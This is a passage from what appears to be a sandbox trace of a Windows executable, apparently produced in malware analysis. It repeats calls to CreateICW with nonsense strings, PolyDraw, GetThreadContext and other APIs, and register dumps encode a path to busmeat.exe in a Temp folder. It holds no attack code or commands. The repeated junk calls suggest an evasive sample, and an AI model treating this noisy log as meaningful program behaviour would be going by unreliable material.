[329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.236] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.237] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.237] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.237] GetConsoleCP () returned 0x0
	[0066.237] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.237] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.238] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.238] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.238] GetConsoleCP () returned 0x0
	[0066.238] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.238] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.239] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.239] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.239] GetConsoleCP () returned 0x0
	[0066.239] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, 